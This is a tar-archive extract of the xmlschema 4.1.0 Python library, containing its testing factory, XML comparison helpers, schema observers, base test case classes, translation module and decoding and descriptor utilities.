self.assertTrue(schema.validate(xml_tree), msg=xml_file) def check_validation_with_generated_code(self): generator = PythonGenerator(self.schema) python_module = generator.render('bindings.py.jinja')[0] ast_module = ast.parse(python_module) self.assertIsInstance(ast_module, ast.Module) with tempfile.TemporaryDirectory() as tempdir: module_name = '{}.py'.format(self.schema.name.rstrip('.xsd')) cwd: str = os.getcwd() try: self.schema.export(tempdir, save_remote=True) os.chdir(tempdir) with open(module_name, 'w') as fp: fp.write(python_module) spec = importlib_util.spec_from_file_location(tempdir, module_name) module = importlib_util.module_from_spec(spec) spec.loader.exec_module(module) xml_root = ElementTree.parse(os.path.join(cwd, xml_file)).getroot() bindings = [x for x in filter(lambda x: x.endswith('Binding'), dir(module))] if len(bindings) == 1: class_name = bindings[0] else: class_name = '{}Binding'.format( local_name(xml_root.tag).title().replace('_', '')) binding_class = getattr(module, class_name) xml_data = binding_class.fromsource(os.path.join(cwd, xml_file)) self.assertEqual(xml_data.tag, xml_root.tag) finally: os.chdir(cwd) def test_xml_document_validation(self): if not validation_only: self.check_decoding_with_element_tree() if not inspect and not no_pickle: self.check_schema_serialization() if not self.errors: self.check_data_conversion_with_element_tree() if lxml_etree is not None: self.check_data_conversion_with_lxml() self.check_with_lxml_iterparse() self.check_iter_errors() self.check_validate_and_is_valid_api() if check_with_lxml and lxml_etree is not None: self.check_lxml_validation() # Test validation with XML data bindings only for instances and # schemas that do not have errors and imports without locations if not validation_only and codegen and PythonGenerator is not None and \ not self.errors and not self.schema.all_errors and \ all('schemaLocation' in e.attrib for e in self.schema.root if e.tag == XSD_IMPORT): self.check_validation_with_generated_code() TestValidator.__name__ = TestValidator.__qualname__ = f'TestValidator{test_num:03}' return TestValidator �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/_factory.py�������������������������������������������������������0000664�0000000�0000000�00000026010�15020401055�0021302�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """ Test factory for creating test cases from lists of paths to XSD or XML files. The list of cases can be defined within files named "testfiles". These are text files that contain a list of relative paths to XSD or XML files, that are used to dinamically build a set of test classes. Each path is followed by a list of options that defines a custom setting for each test. """ import re import argparse import os import fileinput import logging import platform import sys import unittest from xmlschema.cli import xsd_version_number, defuse_data from xmlschema.validators import XMLSchema10, XMLSchema11 from ._observers import ObservedXMLSchema10, ObservedXMLSchema11 logger = logging.getLogger(__file__) def get_test_args(args_line): """Returns the list of arguments from provided text line.""" try: args_line, _ = args_line.split('#', 1) # Strip optional ending comment except ValueError: pass return re.split(r'(?<!\\) ', args_line.strip()) def get_test_program_args_parser(prog=None): """ Gets an argument parser for building test scripts for schemas and xml files. The returned parser has many arguments of unittest's TestProgram plus some arguments for selecting testfiles and XML schema options. """ parser = argparse.ArgumentParser(os.path.basename(prog), add_help=True) default_testfiles = os.path.join(os.path.dirname(prog), 'test_cases/testfiles') # unittest's arguments parser.add_argument('-v', '--verbose', dest='verbosity', default=1, action='store_const', const=2, help='Verbose output') parser.add_argument('-q', '--quiet', dest='verbosity', action='store_const', const=0, help='Quiet output') parser.add_argument('--locals', dest='tb_locals', action='store_true', help='Show local variables in tracebacks') parser.add_argument('-f', '--failfast', dest='failfast', action='store_true', help='Stop on first fail or error') parser.add_argument('-c', '--catch', dest='catchbreak', action='store_true', help='Catch Ctrl-C and display results so far') parser.add_argument('-b', '--buffer', dest='buffer', action='store_true', help='Buffer stdout and stderr during tests') parser.add_argument('-k', dest='patterns', action='append', default=list(), help='Only run tests which match the given substring') # xmlschema's arguments (removed by the test script) parser.add_argument('--lxml', dest='lxml', action='store_true', default=False, help='Check also with lxml.etree.XMLSchema (for XSD 1.0)') parser.add_argument('--codegen', action="store_true", default=False, help="Test code generation with XML data bindings module.") parser.add_argument('--random', dest='random', action='store_true', default=False, help='Execute the test cases in random order.') parser.add_argument('testfiles', type=str, nargs='*', default=default_testfiles, help="Test files containing a list of cases to build and run.") return parser def parse_xmlschema_args(argv=None): """Parse CLI arguments removing xmlschema's additional arguments after parsing.""" if argv is None: argv = sys.argv prog, args = argv[0], argv[1:] parser = get_test_program_args_parser(prog) args = parser.parse_args(args) # Clean argv of xmlschema arguments and _argv = sys.argv.copy() argv.clear() argv.append(prog) for item in _argv[1:]: if item.endswith('testfiles'): continue elif item not in ('--lxml', '--codegen', '--random', '-f', '--failfast', '-c', '--catch', '-b', '--buffer'): argv.append(item) return args def run_xmlschema_tests(target=None, args=None): if target is not None: header_template = "Test xmlschema {} with Python {} on platform {}" header = header_template.format( target, platform.python_version(), platform.platform() ) print('{0}\n{1}\n{0}'.format("*" * len(header), header)) if args is None: unittest.main() else: unittest.main( argv=sys.argv, verbosity=args.verbosity, failfast=args.failfast, catchbreak=args.catchbreak, buffer=args.buffer ) def get_test_line_args_parser(): """Gets an arguments parser for uncommented on not blank "testfiles" lines.""" parser = argparse.ArgumentParser(add_help=True) parser.usage = "TEST_FILE [OPTIONS]\nTry 'TEST_FILE --help' for more information." parser.add_argument('filename', metavar='TEST_FILE', type=str, help="Test filename (relative path).") parser.add_argument( '-L', dest='locations', nargs=2, type=str, default=None, action='append', metavar="URI-URL", help="Schema location hint overrides." ) parser.add_argument( '--version', dest='version', metavar='VERSION', type=xsd_version_number, default='1.0', help="XSD schema version to use for the test case (default is 1.0)." ) parser.add_argument( '--errors', type=int, default=0, metavar='NUM', help="Number of errors expected (default=0)." ) parser.add_argument( '--warnings', type=int, default=0, metavar='NUM', help="Number of warnings expected (default=0)." ) parser.add_argument( '--inspect', action="store_true", default=False, help="Inspect using an observed custom schema class." ) parser.add_argument( '--defuse', metavar='(always, remote, never)', type=defuse_data, default='remote', help="Define when to use the defused XML data loaders." ) parser.add_argument( '--timeout', type=int, default=300, metavar='SEC', help="Timeout for fetching resources (default=300)." ) parser.add_argument( '--validation-only', action="store_true", default=False, help="Skip decode/encode tests on XML data." ) parser.add_argument( '--no-pickle', action="store_true", default=False, help="Skip pickling/unpickling test on schema (max recursion exceeded)." ) parser.add_argument('--skip-location-loader', action="store_true", default=False, help="Skip test with alternative LocationSchemaLoader.") parser.add_argument( '--lax-encode', action="store_true", default=False, help="Use lax mode on encode checks (for cases where test data uses default or " "fixed values or some test data are skipped by wildcards processContents). " "Ignored on schema tests." ) parser.add_argument( '--debug', action="store_true", default=False, help="Activate the debug mode (only the cases with --debug are executed).", ) parser.add_argument( '--codegen', action="store_true", default=False, help="Test code generation with XML data bindings module. For default " "test code generation if the same command option is provided.", ) return parser def xmlschema_tests_factory(test_class_builder, testfiles, suffix, check_with_lxml=False, codegen=False, verbosity=1): """ Factory function for file based schema/validation cases. :param test_class_builder: the test class builder function. :param testfiles: a single or a list of testfiles indexes. :param suffix: the suffix ('xml' or 'xsd') to consider for cases. :param check_with_lxml: if `True` compare with lxml XMLSchema class, \ reporting anomalies. Works only for XSD 1.0 tests. :param codegen: if `True` is provided checks code generation with XML data \ bindings module for all tests. For default is `False` and code generation \ is tested only for the cases where the same option is provided. :param verbosity: the unittest's verbosity, can be 0, 1 or 2. :return: a list of test classes. """ test_classes = {} test_num = 0 debug_mode = False line_buffer = [] test_line_parser = get_test_line_args_parser() for line in fileinput.input(testfiles): line = line.strip() if not line or line[0] == '#': if not line_buffer: continue else: raise SyntaxError("Empty continuation at line %d!" % fileinput.filelineno()) elif '#' in line: line = line.split('#', 1)[0].rstrip() # Process line continuations if line[-1] == '\\': line_buffer.append(line[:-1].strip()) continue elif line_buffer: line_buffer.append(line) line = ' '.join(line_buffer) del line_buffer[:] test_args = test_line_parser.parse_args(get_test_args(line)) if test_args.locations is not None: test_args.locations = {k.strip('\'"'): v for k, v in test_args.locations} if codegen: test_args.codegen = True test_file = os.path.join(os.path.dirname(fileinput.filename()), test_args.filename) if os.path.isdir(test_file): logger.debug("Skip %s: is a directory.", test_file) continue elif os.path.splitext(test_file)[1].lower() != '.%s' % suffix: logger.debug("Skip %s: wrong suffix.", test_file) continue elif not os.path.isfile(test_file): logger.error("Skip %s: is not a file.", test_file) continue test_num += 1 # Debug mode activation if debug_mode: if not test_args.debug: continue elif test_args.debug: debug_mode = True msg = "Debug mode activated: discard previous %r test classes." logger.debug(msg, len(test_classes)) test_classes.clear() if test_args.version == '1.0': schema_class = ObservedXMLSchema10 if test_args.inspect else XMLSchema10 test_class = test_class_builder( test_file, test_args, test_num, schema_class, check_with_lxml ) else: schema_class = ObservedXMLSchema11 if test_args.inspect else XMLSchema11 test_class = test_class_builder( test_file, test_args, test_num, schema_class, check_with_lxml=False ) test_classes[test_class.__name__] = test_class if verbosity == 2: print(f"Create case {test_class.__name__} for file {os.path.relpath(test_file)}") logger.debug("Add XSD %s test class %r.", test_args.version, test_class.__name__) if line_buffer: raise ValueError("Not completed line continuation at the end!") return test_classes ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/_helpers.py�������������������������������������������������������0000664�0000000�0000000�00000016765�15020401055�0021315�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import re from collections.abc import Iterator from typing import Any, Type, Union from xml.etree.ElementTree import Element from xmlschema.utils.qnames import get_namespace, get_qname _REGEX_SPACES = re.compile(r'\s+') def iter_nested_items(items: Union[dict[Any, Any], list[Any]], dict_class: Type[dict[Any, Any]] = dict, list_class: Type[list[Any]] = list) -> Iterator[Any]: """Iterates a nested object composed by lists and dictionaries.""" if isinstance(items, dict_class): for k, v in items.items(): yield from iter_nested_items(v, dict_class, list_class) elif isinstance(items, list_class): for item in items: yield from iter_nested_items(item, dict_class, list_class) elif isinstance(items, dict): raise TypeError(f"{items!r}: is a dict() instead of {dict_class!r}.") elif isinstance(items, list): raise TypeError(f"{items!r}: is a list() instead of {list_class!r}.") else: yield items def etree_elements_assert_equal(elem: Element, other: Element, strict: bool = True, skip_comments: bool = True, unordered: bool = False, check_nsmap: bool = False) -> None: """ Tests the equality of two XML Element trees. :param elem: the master Element tree, reference for namespace mapping. :param other: the other Element tree that has to be compared. :param strict: asserts strictly equality. `True` for default. :param skip_comments: skip comments from comparison. :param unordered: children may have different order. :param check_nsmap: if to check namespace maps. :raise: an AssertionError containing information about first difference encountered. """ children: Union[Element, list[Element]] if unordered: children = sorted(elem, key=lambda x: '' if callable(x.tag) else x.tag) other_children = iter(sorted( other, key=lambda x: '' if callable(x.tag) else x.tag )) else: children = elem other_children = iter(other) namespace = '' for e1 in children: if skip_comments and callable(e1.tag): continue for e2 in other_children: if not skip_comments or not callable(e2.tag): break else: raise AssertionError(f"Node {elem!r} has more children than {other!r}") if strict or e1 is elem: if e1.tag != e2.tag: raise AssertionError(f"{e1!r} != {e2!r}: tags differ") else: namespace = get_namespace(e1.tag) or namespace if get_qname(namespace, e1.tag) != get_qname(namespace, e2.tag): raise AssertionError(f"{e1!r} != {e2!r}: tags differ") # Attributes if e1.attrib != e2.attrib: if strict: msg = "{!r} != {!r}: attributes differ: {!r} != {!r}" raise AssertionError(msg.format(e1, e2, e1.attrib, e2.attrib)) else: msg = "%r != %r: attribute keys differ: %r != %r" if sorted(e1.attrib.keys()) != sorted(e2.attrib.keys()): raise AssertionError(msg % (e1, e2, e1.attrib.keys(), e2.attrib.keys())) for k in e1.attrib: a1, a2 = e1.attrib[k].strip(), e2.attrib[k].strip() if a1 != a2: try: if float(a1) != float(a2): raise ValueError() except (ValueError, TypeError): msg = "%r != %r: attribute %r values differ: %r != %r" raise AssertionError(msg % (e1, e2, k, a1, a2)) from None # Namespace maps if check_nsmap: nsmap1 = getattr(e1, 'nsmap', None) nsmap2 = getattr(e2, 'nsmap', None) if nsmap1 != nsmap2: if strict or (nsmap1 or None) != (nsmap2 or None): if (nsmap1 is None) ^ (nsmap2 is None): msg = "{!r} != {!r}: different ElementTree implementations" raise AssertionError(msg.format(e1, e2)) else: msg = "{!r} != {!r}: nsmaps differ: {!r} != {!r}" raise AssertionError(msg.format(e1, e2, nsmap1, nsmap2)) # Number of children if skip_comments: nc1 = len([c for c in e1 if not callable(c.tag)]) nc2 = len([c for c in e2 if not callable(c.tag)]) else: nc1 = len(e1) nc2 = len(e2) if nc1 != nc2: msg = "%r != %r: children number differ: %r != %r" raise AssertionError(msg % (e1, e2, nc1, nc2)) # Text if e1.text != e2.text: message = f"{e1!r} != {e2!r}: texts differ: {e1.text!r} != {e2.text!r}" if strict: raise AssertionError(message) elif e1.text is None: if e2.text is not None and e2.text.strip(): raise AssertionError(message) elif e2.text is None: if e1.text.strip(): raise AssertionError(message) elif _REGEX_SPACES.sub('', e1.text.strip()) != _REGEX_SPACES.sub('', e2.text.strip()): text1 = e1.text.strip() text2 = e2.text.strip() if text1 == 'false': if text2 != '0': raise AssertionError(message) elif text1 == 'true': if text2 != '1': raise AssertionError(message) elif text2 == 'false': if text1 != '0': raise AssertionError(message) elif text2 == 'true': if text1 != '1': raise AssertionError(message) else: try: items1 = text1.split() items2 = text2.split() if len(items1) != len(items2): raise ValueError() if not all(float(x1) == float(x2) for x1, x2 in zip(items1, items2)): raise ValueError() except (AssertionError, ValueError, TypeError): raise AssertionError(message) from None # Tail if e1.tail != e2.tail: message = f"{e1!r} != {e2!r}: tails differ: {e1.tail!r} != {e2.tail!r}" if strict: raise AssertionError(message) elif e1.tail is None: if e2.tail is not None and e2.tail.strip(): raise AssertionError(message) elif e2.tail is None: if e1.tail.strip(): raise AssertionError(message) elif e1.tail.strip() != e2.tail.strip(): raise AssertionError(message) etree_elements_assert_equal(e1, e2, strict, skip_comments, unordered) try: next(other_children) except StopIteration: pass else: raise AssertionError(f"Node {elem!r} has lesser children than {other!r}.") �����������xmlschema-4.1.0/xmlschema/testing/_observers.py�����������������������������������������������������0000664�0000000�0000000�00000006445�15020401055�0021657�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """ Observers for testing XMLSchema classes. """ from functools import wraps from itertools import chain from xmlschema.names import XSD_NAMESPACE, XSD_ANY_TYPE from xmlschema.validators import XMLSchema10, XMLSchema11, XsdGroup, \ XsdAttributeGroup, XsdComplexType, XsdComponent, XsdBuilders class SchemaObserver: """ Observer that registers created components. Run the 'clear' method after each usage. """ components = [] dummy_components = [] @classmethod def observed_builder(cls, builder): if isinstance(builder, type): class BuilderProxy(builder): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) assert isinstance(self, XsdComponent) if not cls.is_dummy_component(self): cls.components.append(self) else: cls.dummy_components.append(self) BuilderProxy.__name__ = builder.__name__ return BuilderProxy elif callable(builder): @wraps(builder) def builder_proxy(*args, **kwargs): obj = builder(*args, **kwargs) assert isinstance(obj, XsdComponent) if not cls.is_dummy_component(obj): cls.components.append(obj) else: cls.dummy_components.append(obj) return obj return builder_proxy @classmethod def clear(cls) -> None: del cls.components[:] del cls.dummy_components[:] @classmethod def is_dummy_component(cls, component) -> bool: # Dummy components are empty attribute groups and xs:anyType # definitions not related to XSD namespace. if component.parent in cls.dummy_components: return True elif isinstance(component, XsdAttributeGroup): return not component elif isinstance(component, XsdComplexType): return component.name == XSD_ANY_TYPE and \ component.target_namespace != XSD_NAMESPACE elif isinstance(component, XsdGroup) and component.parent is not None: return component.parent.name == XSD_ANY_TYPE and \ component.target_namespace != XSD_NAMESPACE return False class ObservedBuilders(XsdBuilders): def __set_name__(self, cls, name): super().__set_name__(cls, name) for attr in chain(self.__dict__, self.__slots__): value = getattr(self, attr) if isinstance(value, dict): for k, v in value.items(): value[k] = SchemaObserver.observed_builder(v) elif isinstance(value, type): object.__setattr__(self, attr, SchemaObserver.observed_builder(value)) class ObservedXMLSchema10(XMLSchema10): builders = ObservedBuilders() class ObservedXMLSchema11(XMLSchema11): xsd_builders = ObservedBuilders() ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/_test_case_classes.py���������������������������������������������0000664�0000000�0000000�00000017766�15020401055�0023344�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """ Tests subpackage module: common definitions for unittest scripts of the 'xmlschema' package. """ import pathlib import unittest import re import os from textwrap import dedent from xml.etree.ElementTree import Element, iselement from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA from xmlschema.utils.qnames import get_namespace from xmlschema.resources import fetch_namespaces from xmlschema.validators import XMLSchema10 from ._helpers import etree_elements_assert_equal PROTECTED_PREFIX_PATTERN = re.compile(r'\bns\d:') SCHEMA_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" version="{0}"> {1} </xs:schema>""" class XMLSchemaTestCase(unittest.TestCase): cases_dir: pathlib.Path schema_class = XMLSchema10 @classmethod def casepath(cls, relative_path): """Returns the absolute path of a test case from its relative path.""" try: if not cls.cases_dir.is_dir(): return FileNotFoundError('cases_dir does not exist') except AttributeError: raise AttributeError(f'cases_dir is not defined for {cls!r}') else: return str(cls.cases_dir.joinpath(relative_path)) class XsdValidatorTestCase(XMLSchemaTestCase): """ Base class for testing XSD validators. """ vh_xsd_file: str vh_xml_file: str col_xsd_file: str col_xml_file: str st_xsd_file: str models_xsd_file: str @classmethod def setUpClass(cls): cls.errors = [] cls.xsd_types = cls.schema_class.builtin_types() cls.content_pattern = re.compile(r'(<|<xs:)(sequence|choice|all)') cls.default_namespaces = { 'xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'tns': 'http://xmlschema.test/ns', 'ns': 'ns', } if os.path.isfile(cls.casepath('testfiles')): cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') cls.vh_json_file = cls.casepath('examples/vehicles/vehicles.json') cls.vh_schema = cls.schema_class(cls.vh_xsd_file) cls.vh_namespaces = fetch_namespaces(cls.vh_xml_file) cls.col_dir = cls.casepath('examples/collection') cls.col_xsd_file = cls.casepath('examples/collection/collection.xsd') cls.col_xml_file = cls.casepath('examples/collection/collection.xml') cls.col_json_file = cls.casepath('examples/collection/collection.json') cls.col_schema = cls.schema_class(cls.col_xsd_file) cls.col_namespaces = fetch_namespaces(cls.col_xml_file) cls.st_xsd_file = cls.casepath('features/decoder/simple-types.xsd') cls.st_schema = cls.schema_class(cls.st_xsd_file) cls.models_xsd_file = cls.casepath('features/models/models.xsd') cls.models_schema = cls.schema_class(cls.models_xsd_file) def get_schema_source(self, source): """ Returns a schema source that can be used to create an XMLSchema instance. :param source: A string or an ElementTree's Element. :return: An schema source string, an ElementTree's Element or a full pathname. """ if iselement(source): if source.tag in (XSD_SCHEMA, 'schema'): return source elif get_namespace(source.tag): raise XMLSchemaValueError("source %r namespace has to be empty." % source) elif source.tag not in {'element', 'attribute', 'simpleType', 'complexType', 'group', 'attributeGroup', 'notation'}: raise XMLSchemaValueError("% is not an XSD global definition/declaration." % source) root = Element('schema', attrib={ 'xmlns:xs': XSD_NAMESPACE, 'xmlns:xsi': XSI_NAMESPACE, 'elementFormDefault': "qualified", 'version': self.schema_class.XSD_VERSION, }) root.append(source) return root else: source = dedent(source.strip()) if not source.startswith('<'): return self.casepath(source) elif source.startswith('<?xml ') or source.startswith('<xs:schema '): return source else: return SCHEMA_TEMPLATE.format(self.schema_class.XSD_VERSION, source) def get_schema(self, source, **kwargs): return self.schema_class(self.get_schema_source(source), **kwargs) def get_element(self, name, **attrib): source = '<xs:element name="{}" {}/>'.format( name, ' '.join(f'{k}="{v}"' for k, v in attrib.items()) ) schema = self.schema_class(self.get_schema_source(source)) return schema.elements[name] def check_etree_elements(self, elem, other): """Checks if two ElementTree elements are equal.""" try: self.assertIsNone( etree_elements_assert_equal(elem, other, strict=False, skip_comments=True) ) except AssertionError as err: self.assertIsNone(err, None) def check_namespace_prefixes(self, s): """Checks that a string doesn't contain protected prefixes (ns0, ns1 ...).""" match = PROTECTED_PREFIX_PATTERN.search(s) if match: msg = f"Protected prefix {match.group(0)!r} found:\n {s}" self.assertIsNone(match, msg) def check_schema(self, source, expected=None, **kwargs): """ Create a schema for a test case. :param source: A relative path or a root Element or a portion of schema for a template. :param expected: If it's an Exception class test the schema for raise an error. \ Otherwise build the schema and test a condition if expected is a callable, or make \ a substring test if it's not `None` (maybe a string). Then returns the schema instance. """ if isinstance(expected, type) and issubclass(expected, Exception): with self.assertRaises(expected): self.schema_class(self.get_schema_source(source), **kwargs) else: schema = self.schema_class(self.get_schema_source(source), **kwargs) if callable(expected): self.assertTrue(expected(schema)) return schema def check_errors(self, path, expected): """ Checks schema or validation errors, checking information completeness of the instances and those number against expected. :param path: the path of the test case. :param expected: the number of expected errors. """ for e in self.errors: error_string = str(e) self.assertTrue(e.path, "Missing path for: %s" % error_string) if e.namespaces: self.check_namespace_prefixes(error_string) if not self.errors and expected: raise ValueError(f"{path!r}: found no errors when {expected} expected.") elif len(self.errors) != expected: num_errors = len(self.errors) if num_errors == 1: msg = "{!r}: n.{} errors expected, found {}:\n\n{}" elif num_errors <= 5: msg = "{!r}: n.{} errors expected, found {}. Errors follow:\n\n{}" else: msg = "{!r}: n.{} errors expected, found {}. First five errors follow:\n\n{}" error_string = '\n++++++++++\n\n'.join([str(e) for e in self.errors[:5]]) raise ValueError(msg.format(path, expected, len(self.errors), error_string)) ����������xmlschema-4.1.0/xmlschema/translation.py������������������������������������������������������������0000664�0000000�0000000�00000004063�15020401055�0020361�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # from collections.abc import Iterable from typing import cast, Any, Optional, Union import gettext as _gettext from pathlib import Path __all__ = ['activate', 'deactivate', 'gettext'] _translation: Any = None _installed: bool = False def activate(localedir: Union[None, str, Path] = None, languages: Optional[Iterable[str]] = None, fallback: bool = True, install: bool = False) -> None: """ Activate translation of xmlschema parsing/validation error messages. :param localedir: a string or Path-like object to locale directory :param languages: list of language codes :param fallback: for default fallback mode is activated :param install: if `True` installs function _() in Python’s builtins namespace """ global _translation global _installed if localedir is None: # pragma: no cover localedir = Path(__file__).parent.joinpath('locale').resolve() translation = _gettext.translation( domain='xmlschema', localedir=localedir, languages=languages, fallback=fallback, ) deactivate() _translation = translation if install: _translation.install() _installed = True def deactivate() -> None: """Deactivate translation of xmlschema parsing/validation error messages.""" global _translation global _installed if _installed and _translation is not None: import builtins if builtins.__dict__.get('_') == _translation.gettext: # pragma: no cover builtins.__dict__.pop('_') _translation = None _installed = False def gettext(message: str) -> str: if _translation is None: return message return cast(str, _translation.gettext(message)) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016606�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000000000�15020401055�0020705�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/decoding.py���������������������������������������������������������0000664�0000000�0000000�00000007044�15020401055�0020741�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from decimal import Decimal from collections.abc import Iterator, MutableMapping, MutableSequence from typing import Any, Optional, Union from xmlschema.aliases import DecodedValueType, NumericValueType DecodedAttributesType = Optional[MutableMapping[str, DecodedValueType]] class EmptyType: _instance = None def __new__(cls) -> 'EmptyType': if cls._instance is None: cls._instance = super(EmptyType, cls).__new__(cls) return cls._instance Empty = EmptyType() """A singleton instance for representing empty decode/encode results.""" def count_digits(number: NumericValueType) -> tuple[int, int]: """ Counts the digits of a number. :param number: an int or a float or a Decimal or a string representing a number. :return: a couple with the number of digits of the integer part and \ the number of digits of the decimal part. """ if isinstance(number, str): number = str(Decimal(number)).lstrip('-+') elif isinstance(number, bytes): number = str(Decimal(number.decode())).lstrip('-+') else: number = str(number).lstrip('-+') if 'E' in number: significand, _, _exponent = number.partition('E') elif 'e' in number: significand, _, _exponent = number.partition('e') elif '.' not in number: return len(number.lstrip('0')), 0 else: integer_part, _, decimal_part = number.partition('.') return len(integer_part.lstrip('0')), len(decimal_part.rstrip('0')) significand = significand.strip('0') exponent = int(_exponent) num_digits = len(significand) - 1 if '.' in significand else len(significand) if exponent > 0: return num_digits + exponent, 0 else: return 0, num_digits - exponent - 1 def strictly_equal(obj1: object, obj2: object) -> bool: """Checks if the objects are equal and are of the same type.""" return obj1 == obj2 and type(obj1) is type(obj2) def raw_encode_value(value: DecodedValueType) -> Optional[str]: """Encodes a simple value to XML.""" if isinstance(value, bool): return 'true' if value else 'false' elif isinstance(value, (list, tuple)): return ' '.join(e for e in (raw_encode_value(v) for v in value) if e is not None) elif isinstance(value, bytes): return value.decode() else: return str(value) if value is not None else None def raw_encode_attributes(attributes: DecodedAttributesType = None) \ -> dict[str, str]: attrib: dict[str, str] = {} if attributes: for k, v in attributes.items(): value = raw_encode_value(v) if value is not None: attrib[k] = value return attrib def iter_decoded_data(obj: Any, level: int = 0) \ -> Iterator[tuple[Union[MutableMapping[Any, Any], MutableSequence[Any]], int]]: """ Iterates a nested object composed by lists and dictionaries, pairing with the level depth. """ if isinstance(obj, MutableMapping): yield obj, level for value in obj.values(): yield from iter_decoded_data(value, level + 1) elif isinstance(obj, MutableSequence): yield obj, level for item in obj: yield from iter_decoded_data(item, level + 1) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/descriptors.py������������������������������������������������������0000664�0000000�0000000�00000014076�15020401055�0021531�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import Callable, Iterable from threading import Lock from typing import Any, cast, Generic, Optional, overload, TypeVar, TYPE_CHECKING, Union from xmlschema.aliases import ClassInfoType from xmlschema.exceptions import XMLSchemaAttributeError, XMLSchemaTypeError, XMLSchemaValueError from xmlschema.translation import gettext as _ if TYPE_CHECKING: from xmlschema.validators.xsdbase import XsdValidator # noqa __all__ = ['validator_property', 'Argument', 'ChoiceArgument', 'ValueArgument'] VT = TypeVar('VT', bound='XsdValidator') RT = TypeVar('RT') # noinspection PyPep8Naming class validator_property(Generic[VT, RT]): """A property that caches the value only if the XSD validator is built.""" __slots__ = ('func', 'lock', '_name', '__dict__') def __init__(self, func: Callable[[VT], RT]) -> None: self.func = func self.lock = Lock() self.__doc__ = func.__doc__ if hasattr(func, '__module__'): self.__module__ = func.__module__ def __set_name__(self, owner: type[VT], name: str) -> None: if not hasattr(owner, 'built'): raise XMLSchemaTypeError("{!r} is not an XSD validator".format(owner)) if name == 'built': raise XMLSchemaAttributeError("can't apply to 'built' property") self._name = name @overload def __get__(self, instance: None, owner: type[VT]) -> 'validator_property[VT, RT]': ... @overload def __get__(self, instance: VT, owner: type[VT]) -> RT: ... def __get__(self, instance: Optional[VT], owner: type[VT]) \ -> Union['validator_property[VT, RT]', RT]: if instance is None: return self if not instance.built: # Can't cache the property if the validator is not built if self._name in instance.__dict__: instance.__dict__.pop(self._name) return self.func(instance) 